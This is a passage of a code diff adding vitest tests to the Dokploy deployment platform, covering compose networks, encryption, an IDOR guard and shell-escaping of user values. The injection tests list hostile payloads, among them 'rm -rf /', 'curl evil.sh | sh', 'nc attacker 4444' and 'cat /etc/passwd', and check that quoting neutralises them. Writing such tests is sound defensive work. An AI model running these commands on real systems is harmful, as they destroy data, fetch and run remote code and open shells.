expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
|
||||||
|
const result = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
networks:
|
||||||
|
- shared-net
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
|
||||||
|
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
|
||||||
|
|
||||||
|
expect(result.networks).toHaveProperty("shared-net");
|
||||||
|
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
|
||||||
|
const resolved = await resolveServiceNetworks({});
|
||||||
|
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
|
||||||
|
expect(findManyMock).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
|
||||||
|
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
|
||||||
|
expect(resolved).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
|
||||||
|
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
|
||||||
|
|
||||||
|
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
|
||||||
|
|
||||||
|
expect(resolved).toEqual([
|
||||||
|
{ Target: "dokploy-network" },
|
||||||
|
{ Target: "overlay-a" },
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
|
||||||
|
const override = [{ Target: "custom-net" }];
|
||||||
|
const resolved = await resolveServiceNetworks({ networkSwarm: override });
|
||||||
|
|
||||||
|
expect(resolved).toBe(override);
|
||||||
|
expect(findManyMock).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
|
|||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const composeFileAccessMode = `
|
||||||
|
version: "3.8"
|
||||||
|
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx:alpine
|
||||||
|
volumes:
|
||||||
|
- web_config:/etc/nginx/conf.d:ro
|
||||||
|
- certs/sub:/etc/certs:Z
|
||||||
|
`;
|
||||||
|
|
||||||
|
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
|
||||||
|
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
|
||||||
|
|
||||||
|
const suffix = generateRandomHash();
|
||||||
|
|
||||||
|
if (!composeData.services) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const updatedComposeData = addSuffixToVolumesInServices(
|
||||||
|
composeData.services,
|
||||||
|
suffix,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(updatedComposeData.web?.volumes).toContain(
|
||||||
|
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
|
||||||
|
);
|
||||||
|
expect(updatedComposeData.web?.volumes).toContain(
|
||||||
|
`certs-${suffix}/sub:/etc/certs:Z`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
const composeFileTypeVolume = `
|
const composeFileTypeVolume = `
|
||||||
version: "3.8"
|
version: "3.8"
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { existsSync, rmSync } from "node:fs";
|
||||||
|
import { parse, quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
|
||||||
|
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
|
||||||
|
// path. `docker` is replaced by `:` so only the injection surface is exercised.
|
||||||
|
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
|
||||||
|
|
||||||
|
const PAYLOADS = [
|
||||||
|
"$(touch %MARK%)",
|
||||||
|
"`touch %MARK%`",
|
||||||
|
"redis:7; touch %MARK%",
|
||||||
|
"redis:7 && touch %MARK%",
|
||||||
|
"redis:7 | touch %MARK%",
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("database service dockerImage command injection", () => {
|
||||||
|
it("does not execute injected commands from dockerImage", () => {
|
||||||
|
for (const template of PAYLOADS) {
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
const dockerImage = template.replace("%MARK%", MARK);
|
||||||
|
const command = `: pull ${quote([dockerImage])}`;
|
||||||
|
try {
|
||||||
|
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||||
|
} catch {}
|
||||||
|
expect(existsSync(MARK)).toBe(false);
|
||||||
|
}
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a legitimate image tag intact", () => {
|
||||||
|
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
|
||||||
|
"postgres:16.4-alpine",
|
||||||
|
]);
|
||||||
|
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
|
||||||
|
"ghcr.io/org/db:latest",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
66
apps/dokploy/__test__/deploy/docker-build-injection.test.ts
Normal file
66
apps/dokploy/__test__/deploy/docker-build-injection.test.ts
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { existsSync, rmSync } from "node:fs";
|
||||||
|
import { parse, quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
|
||||||
|
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
|
||||||
|
// test exercises only the injection surface, not real docker.
|
||||||
|
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
|
||||||
|
|
||||||
|
const runAndCheckSafe = (command: string) => {
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
try {
|
||||||
|
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||||
|
} catch {
|
||||||
|
// no-op stand-ins may exit non-zero; only the marker matters.
|
||||||
|
}
|
||||||
|
const fired = existsSync(MARK);
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
return !fired;
|
||||||
|
};
|
||||||
|
|
||||||
|
const PAYLOADS = [
|
||||||
|
"$(touch %MARK%)",
|
||||||
|
"`touch %MARK%`",
|
||||||
|
"x; touch %MARK%",
|
||||||
|
"x && touch %MARK%",
|
||||||
|
"x | touch %MARK%",
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("docker build/pull command injection", () => {
|
||||||
|
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const dockerImage = p.replace("%MARK%", MARK);
|
||||||
|
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
|
||||||
|
expect(runAndCheckSafe(command)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("dockerContextPath (docker-file: cd) is escaped", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const dockerContextPath = p.replace("%MARK%", MARK);
|
||||||
|
const command = `: cd ${quote([dockerContextPath])}`;
|
||||||
|
expect(runAndCheckSafe(command)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const publishDirectory = p.replace("%MARK%", MARK);
|
||||||
|
const containerId = "buildabc";
|
||||||
|
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
|
||||||
|
expect(runAndCheckSafe(command)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a legitimate image / path intact as a single token", () => {
|
||||||
|
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
|
||||||
|
// the result back to exactly the original single token.
|
||||||
|
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
|
||||||
|
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
|
||||||
|
"registry.io/team/app:tag",
|
||||||
|
]);
|
||||||
|
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
|
|||||||
railpackVersion: "0.15.4",
|
railpackVersion: "0.15.4",
|
||||||
applicationId: "",
|
applicationId: "",
|
||||||
previewLabels: [],
|
previewLabels: [],
|
||||||
|
networkIds: [],
|
||||||
|
detachDokployNetwork: false,
|
||||||
createEnvFile: true,
|
createEnvFile: true,
|
||||||
bitbucketRepositorySlug: "",
|
bitbucketRepositorySlug: "",
|
||||||
herokuVersion: "",
|
herokuVersion: "",
|
||||||
|
|||||||
93
apps/dokploy/__test__/env/encryption.test.ts
vendored
Normal file
93
apps/dokploy/__test__/env/encryption.test.ts
vendored
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
import {
|
||||||
|
decryptValue,
|
||||||
|
encryptValue,
|
||||||
|
exportEncryptionKeys,
|
||||||
|
isEncrypted,
|
||||||
|
} from "@dokploy/server/lib/encryption";
|
||||||
|
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
describe("encryptValue / decryptValue", () => {
|
||||||
|
it("round-trips a value", () => {
|
||||||
|
const value =
|
||||||
|
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
|
||||||
|
const encrypted = encryptValue(value);
|
||||||
|
|
||||||
|
expect(encrypted).not.toBe(value);
|
||||||
|
expect(isEncrypted(encrypted)).toBe(true);
|
||||||
|
expect(encrypted).not.toContain("secret");
|
||||||
|
expect(decryptValue(encrypted)).toBe(value);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("uses a random IV so equal inputs produce different ciphertexts", () => {
|
||||||
|
const value = "KEY=value";
|
||||||
|
expect(encryptValue(value)).not.toBe(encryptValue(value));
|
||||||
|
});
|
||||||
|
|
||||||
|
it("passes legacy plaintext through on decrypt", () => {
|
||||||
|
const plaintext = "KEY=legacy-plaintext-value";
|
||||||
|
expect(decryptValue(plaintext)).toBe(plaintext);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("passes empty values through unchanged", () => {
|
||||||
|
expect(encryptValue("")).toBe("");
|
||||||
|
expect(decryptValue("")).toBe("");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not double-encrypt an already encrypted value", () => {
|
||||||
|
const encrypted = encryptValue("KEY=value");
|
||||||
|
expect(encryptValue(encrypted)).toBe(encrypted);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws a descriptive error on tampered ciphertext", () => {
|
||||||
|
const encrypted = encryptValue("KEY=value");
|
||||||
|
const tampered = `${encrypted.slice(0, -4)}AAAA`;
|
||||||
|
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("exports the derived keys as 32-byte hex lines for backups", () => {
|
||||||
|
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("dedicated ENCRYPTION_KEY", () => {
|
||||||
|
afterEach(() => {
|
||||||
|
vi.unstubAllEnvs();
|
||||||
|
vi.resetModules();
|
||||||
|
});
|
||||||
|
|
||||||
|
const loadWithEncryptionKey = async (key: string) => {
|
||||||
|
vi.stubEnv("ENCRYPTION_KEY", key);
|
||||||
|
vi.resetModules();
|
||||||
|
return await import("@dokploy/server/lib/encryption");
|
||||||
|
};
|
||||||
|
|
||||||
|
it("encrypts with the dedicated key when set", async () => {
|
||||||
|
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||||
|
const encrypted = withKey.encryptValue("KEY=value");
|
||||||
|
|
||||||
|
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
|
||||||
|
// The default (auth-secret derived) module cannot read it
|
||||||
|
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("still decrypts legacy values via the auth-secret fallback", async () => {
|
||||||
|
// Encrypted before the install adopted a dedicated key
|
||||||
|
const legacyEncrypted = encryptValue("KEY=legacy-value");
|
||||||
|
|
||||||
|
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||||
|
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("re-encrypts with the dedicated key on write", async () => {
|
||||||
|
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||||
|
const reEncrypted = withKey.encryptValue(
|
||||||
|
withKey.decryptValue(encryptValue("KEY=migrated")),
|
||||||
|
);
|
||||||
|
|
||||||
|
const other = await loadWithEncryptionKey("another-key");
|
||||||
|
// Readable only by the dedicated key (or its own fallback), proving
|
||||||
|
// the write used the primary key, not the legacy one
|
||||||
|
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
|
||||||
|
expect(() => other.decryptValue(reEncrypted)).toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
|
||||||
|
import { parse, quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
// How git-provider commands escape a single user value before it reaches the shell.
|
||||||
|
const shellArg = (value: string) => quote([String(value ?? "")]);
|
||||||
|
|
||||||
|
// Payloads that, if reached a shell unescaped, would execute commands.
|
||||||
|
const INJECTION_PAYLOADS = [
|
||||||
|
"$(touch /tmp/pwned)",
|
||||||
|
"`id`",
|
||||||
|
"; rm -rf /",
|
||||||
|
"&& curl evil.sh | sh",
|
||||||
|
"| nc attacker 4444",
|
||||||
|
"https://github.com/o/r.git$(whoami)",
|
||||||
|
"main; wget http://evil",
|
||||||
|
"$(cat /etc/passwd)",
|
||||||
|
];
|
||||||
|
|
||||||
|
// Legit values that must survive escaping unchanged.
|
||||||
|
const LEGIT_VALUES = [
|
||||||
|
"main",
|
||||||
|
"feature/login-v2",
|
||||||
|
"release-1.2.3",
|
||||||
|
"https://github.com/dokploy/dokploy.git",
|
||||||
|
"https://gitlab.example.com/group/sub/project.git",
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("git provider shell escaping (quote)", () => {
|
||||||
|
it("collapses every injection payload into a single literal token (no shell operators)", () => {
|
||||||
|
for (const payload of INJECTION_PAYLOADS) {
|
||||||
|
const parsed = parse(shellArg(payload));
|
||||||
|
// A safely escaped value parses back to exactly the original string,
|
||||||
|
// as ONE token. If escaping failed, parse() would emit operator
|
||||||
|
// objects such as { op: ";" } or { op: "$(" } instead.
|
||||||
|
expect(parsed).toEqual([payload]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("leaves legitimate URLs and branch names intact", () => {
|
||||||
|
for (const value of LEGIT_VALUES) {
|
||||||
|
expect(parse(shellArg(value))).toEqual([value]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("cloneGitRepository command (customGitUrl path)", () => {
|
||||||
|
const buildClone = (customGitUrl: string, customGitBranch: string) =>
|
||||||
|
cloneGitRepository({
|
||||||
|
appName: "demo-app",
|
||||||
|
customGitUrl,
|
||||||
|
customGitBranch,
|
||||||
|
customGitSSHKeyId: null,
|
||||||
|
enableSubmodules: false,
|
||||||
|
serverId: null,
|
||||||
|
type: "application",
|
||||||
|
});
|
||||||
|
|
||||||
|
// A malicious substring, once escaped, must survive parsing as inert literal
|
||||||
|
// text and never as an executable command/operator. `parse()` turns command
|
||||||
|
// substitution and control operators into { op } objects, so we assert the
|
||||||
|
// injected marker only ever shows up inside a plain string token.
|
||||||
|
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
|
||||||
|
const tokens = parse(command);
|
||||||
|
return tokens.some(
|
||||||
|
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
it("does not let a malicious customGitUrl inject shell operators", async () => {
|
||||||
|
const command = await buildClone(
|
||||||
|
"https://github.com/o/r.git$(touch /tmp/pwned)",
|
||||||
|
"main",
|
||||||
|
);
|
||||||
|
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
|
||||||
|
expect(command).toContain("git clone");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not let a malicious customGitBranch inject shell operators", async () => {
|
||||||
|
const command = await buildClone(
|
||||||
|
"https://github.com/o/r.git",
|
||||||
|
"main; touch /tmp/pwned",
|
||||||
|
);
|
||||||
|
// The branch is a single quoted token, so its ";" contributes no extra
|
||||||
|
// operator and `touch` never becomes a runnable statement.
|
||||||
|
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
|
||||||
|
expect(command).not.toContain("touch /tmp/pwned;");
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
|
||||||
import {
|
import {
|
||||||
canEditDeployGitSource,
|
canEditDeployGitSource,
|
||||||
getAccessibleGitProviderIds,
|
getAccessibleGitProviderIds,
|
||||||
} from "@dokploy/server/services/git-provider";
|
} from "@dokploy/server/services/git-provider";
|
||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
const mockDb = vi.hoisted(() => ({
|
const mockDb = vi.hoisted(() => ({
|
||||||
query: {
|
query: {
|
||||||
|
|||||||
91
apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
Normal file
91
apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
import { TRPCError } from "@trpc/server";
|
||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
|
||||||
|
// assertGitProviderAccess) runs against controlled data. Mocking the exported
|
||||||
|
// function would NOT intercept the intra-module call, so we mock one layer down.
|
||||||
|
const mockDb = vi.hoisted(() => ({
|
||||||
|
query: {
|
||||||
|
gitProvider: {
|
||||||
|
findMany: vi.fn(),
|
||||||
|
},
|
||||||
|
member: {
|
||||||
|
findFirst: vi.fn(),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
|
||||||
|
|
||||||
|
const mockHasValidLicense = vi.hoisted(() => vi.fn());
|
||||||
|
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
||||||
|
hasValidLicense: mockHasValidLicense,
|
||||||
|
}));
|
||||||
|
|
||||||
|
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
|
||||||
|
|
||||||
|
const ORG = "org-1";
|
||||||
|
const USER = "user-member";
|
||||||
|
const session = { userId: USER, activeOrganizationId: ORG };
|
||||||
|
|
||||||
|
// Provider owned by USER within ORG -> should be accessible.
|
||||||
|
const providerMine = {
|
||||||
|
gitProviderId: "gp-mine",
|
||||||
|
userId: USER,
|
||||||
|
sharedWithOrganization: false,
|
||||||
|
};
|
||||||
|
// Provider owned by someone else within ORG, not shared, not assigned.
|
||||||
|
const providerOther = {
|
||||||
|
gitProviderId: "gp-other",
|
||||||
|
userId: "user-2",
|
||||||
|
sharedWithOrganization: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.clearAllMocks();
|
||||||
|
mockHasValidLicense.mockResolvedValue(false);
|
||||||
|
mockDb.query.gitProvider.findMany.mockResolvedValue([
|
||||||
|
providerMine,
|
||||||
|
providerOther,
|
||||||
|
]);
|
||||||
|
mockDb.query.member.findFirst.mockResolvedValue({
|
||||||
|
role: "member",
|
||||||
|
accessedGitProviders: [],
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
|
||||||
|
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
|
||||||
|
await expect(
|
||||||
|
assertGitProviderAccess(session, {
|
||||||
|
gitProviderId: "gp-mine",
|
||||||
|
organizationId: "org-2",
|
||||||
|
}),
|
||||||
|
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
|
||||||
|
await expect(
|
||||||
|
assertGitProviderAccess(session, {
|
||||||
|
gitProviderId: "gp-other",
|
||||||
|
organizationId: ORG,
|
||||||
|
}),
|
||||||
|
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows a same-org provider the caller owns", async () => {
|
||||||
|
await expect(
|
||||||
|
assertGitProviderAccess(session, {
|
||||||
|
gitProviderId: "gp-mine",
|
||||||
|
organizationId: ORG,
|
||||||
|
}),
|
||||||
|
).resolves.toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
|
||||||
|
const err = await assertGitProviderAccess(session, {
|
||||||
|
gitProviderId: "gp-mine",
|
||||||
|
organizationId: "org-2",
|
||||||
|
}).catch((e) => e);
|
||||||
|
expect(err).toBeInstanceOf(TRPCError);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -1,16 +1,11 @@
|
|||||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
const hasValidLicense = vi.fn();
|
|
||||||
const getWebServerSettings = vi.fn();
|
const getWebServerSettings = vi.fn();
|
||||||
const findFirstOrg = vi.fn();
|
|
||||||
const findFirstServer = vi.fn();
|
const findFirstServer = vi.fn();
|
||||||
|
|
||||||
vi.mock("@dokploy/server/db", () => ({
|
vi.mock("@dokploy/server/db", () => ({
|
||||||
db: {
|
db: {
|
||||||
query: {
|
query: {
|
||||||
organization: {
|
|
||||||
findFirst: (...args: unknown[]) => findFirstOrg(...args),
|
|
||||||
},
|
|
||||||
server: {
|
server: {
|
||||||
findFirst: (...args: unknown[]) => findFirstServer(...args),
|
findFirst: (...args: unknown[]) => findFirstServer(...args),
|
||||||
},
|
},
|
||||||
@@ -19,91 +14,56 @@ vi.mock("@dokploy/server/db", () => ({
|
|||||||
}));
|
}));
|
||||||
|
|
||||||
vi.mock("@dokploy/server/db/schema", () => ({
|
vi.mock("@dokploy/server/db/schema", () => ({
|
||||||
organization: {},
|
|
||||||
server: {},
|
server: {},
|
||||||
}));
|
}));
|
||||||
|
|
||||||
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
|
||||||
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
|
|
||||||
}));
|
|
||||||
|
|
||||||
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
||||||
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
|
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
|
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
|
||||||
|
|
||||||
import {
|
import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
|
||||||
assertBuildsConcurrencyAllowed,
|
|
||||||
resolveBuildsConcurrency,
|
|
||||||
} from "../../server/queues/concurrency";
|
|
||||||
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
|
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
|
||||||
|
|
||||||
describe("resolveBuildsConcurrency (enterprise gating)", () => {
|
describe("resolveBuildsConcurrency", () => {
|
||||||
beforeEach(() => {
|
beforeEach(() => {
|
||||||
vi.clearAllMocks();
|
vi.clearAllMocks();
|
||||||
findFirstOrg.mockResolvedValue({ id: "org-1" });
|
|
||||||
});
|
});
|
||||||
|
|
||||||
describe("local web server partition", () => {
|
describe("local web server partition", () => {
|
||||||
it("returns the configured concurrency when licensed", async () => {
|
it("returns the configured concurrency", async () => {
|
||||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
|
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
|
||||||
hasValidLicense.mockResolvedValue(true);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
|
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
|
||||||
});
|
});
|
||||||
|
|
||||||
it("clamps to the free max (2) when there is no valid license", async () => {
|
it("does not cap high values", async () => {
|
||||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
|
|
||||||
hasValidLicense.mockResolvedValue(false);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
|
|
||||||
});
|
|
||||||
|
|
||||||
it("allows the free max (2) without a license", async () => {
|
|
||||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
|
|
||||||
hasValidLicense.mockResolvedValue(false);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
|
|
||||||
});
|
|
||||||
|
|
||||||
it("does not cap the value when licensed (N allowed)", async () => {
|
|
||||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
|
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
|
||||||
hasValidLicense.mockResolvedValue(true);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
|
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
|
||||||
999,
|
999,
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it("floors values below 1 to 1", async () => {
|
||||||
|
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
|
||||||
|
|
||||||
|
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
||||||
|
});
|
||||||
|
|
||||||
it("defaults to 1 when settings are missing", async () => {
|
it("defaults to 1 when settings are missing", async () => {
|
||||||
getWebServerSettings.mockResolvedValue(undefined);
|
getWebServerSettings.mockResolvedValue(undefined);
|
||||||
hasValidLicense.mockResolvedValue(true);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe("remote server partition", () => {
|
describe("remote server partition", () => {
|
||||||
it("returns the server concurrency when its org is licensed", async () => {
|
it("returns the server concurrency", async () => {
|
||||||
findFirstServer.mockResolvedValue({
|
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
|
||||||
buildsConcurrency: 4,
|
|
||||||
organizationId: "org-1",
|
|
||||||
});
|
|
||||||
hasValidLicense.mockResolvedValue(true);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
|
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
|
||||||
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
|
|
||||||
});
|
|
||||||
|
|
||||||
it("clamps to the free max (2) when the server org is not licensed", async () => {
|
|
||||||
findFirstServer.mockResolvedValue({
|
|
||||||
buildsConcurrency: 8,
|
|
||||||
organizationId: "org-1",
|
|
||||||
});
|
|
||||||
hasValidLicense.mockResolvedValue(false);
|
|
||||||
|
|
||||||
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it("defaults to 1 for an unknown server", async () => {
|
it("defaults to 1 for an unknown server", async () => {
|
||||||
@@ -119,30 +79,3 @@ describe("resolveBuildsConcurrency (enterprise gating)", () => {
|
|||||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe("assertBuildsConcurrencyAllowed", () => {
|
|
||||||
beforeEach(() => {
|
|
||||||
vi.clearAllMocks();
|
|
||||||
});
|
|
||||||
|
|
||||||
it("allows up to the free max (2) without checking the license", async () => {
|
|
||||||
await expect(
|
|
||||||
assertBuildsConcurrencyAllowed(2, "org-1"),
|
|
||||||
).resolves.toBeUndefined();
|
|
||||||
expect(hasValidLicense).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
it("allows more than 2 when licensed", async () => {
|
|
||||||
hasValidLicense.mockResolvedValue(true);
|
|
||||||
await expect(
|
|
||||||
assertBuildsConcurrencyAllowed(5, "org-1"),
|
|
||||||
).resolves.toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
it("rejects more than 2 without a license", async () => {
|
|
||||||
hasValidLicense.mockResolvedValue(false);
|
|
||||||
await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
|
|
||||||
/enterprise license/i,
|
|
||||||
);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|||||||
44
